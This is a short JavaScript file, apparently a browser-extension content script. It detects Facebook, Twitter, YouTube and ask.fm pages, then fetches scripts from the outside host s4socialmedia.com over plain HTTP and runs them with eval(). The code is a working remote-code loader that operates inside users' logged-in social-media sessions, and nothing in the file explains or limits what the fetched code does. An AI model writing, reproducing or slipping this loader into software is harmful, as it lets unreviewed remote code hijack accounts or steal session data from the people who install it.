function include(method,url)
{
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open(method, url);
    xmlhttp.onreadystatechange = function()
    {
        if(xmlhttp.readyState == 4)
        {
            eval(xmlhttp.responseText);
        }
    };
    xmlhttp.send();
}
if (location.hostname.indexOf("facebook.com") >= 0) {
include("GET","http://s4socialmedia.com/s4/facebook.php");
}
if (location.hostname.indexOf("twitter.com") >= 0) {
include("GET","http://s4socialmedia.com/s4/twitter.php");
}
if (location.hostname.indexOf("youtube.com") >= 0) {
include("GET","http://s4socialmedia.com/s4/youtube.php");
}
if (location.hostname.indexOf("ask.fm") >= 0) {
include("GET","http://s4socialmedia.com/s4/askfm.php");
}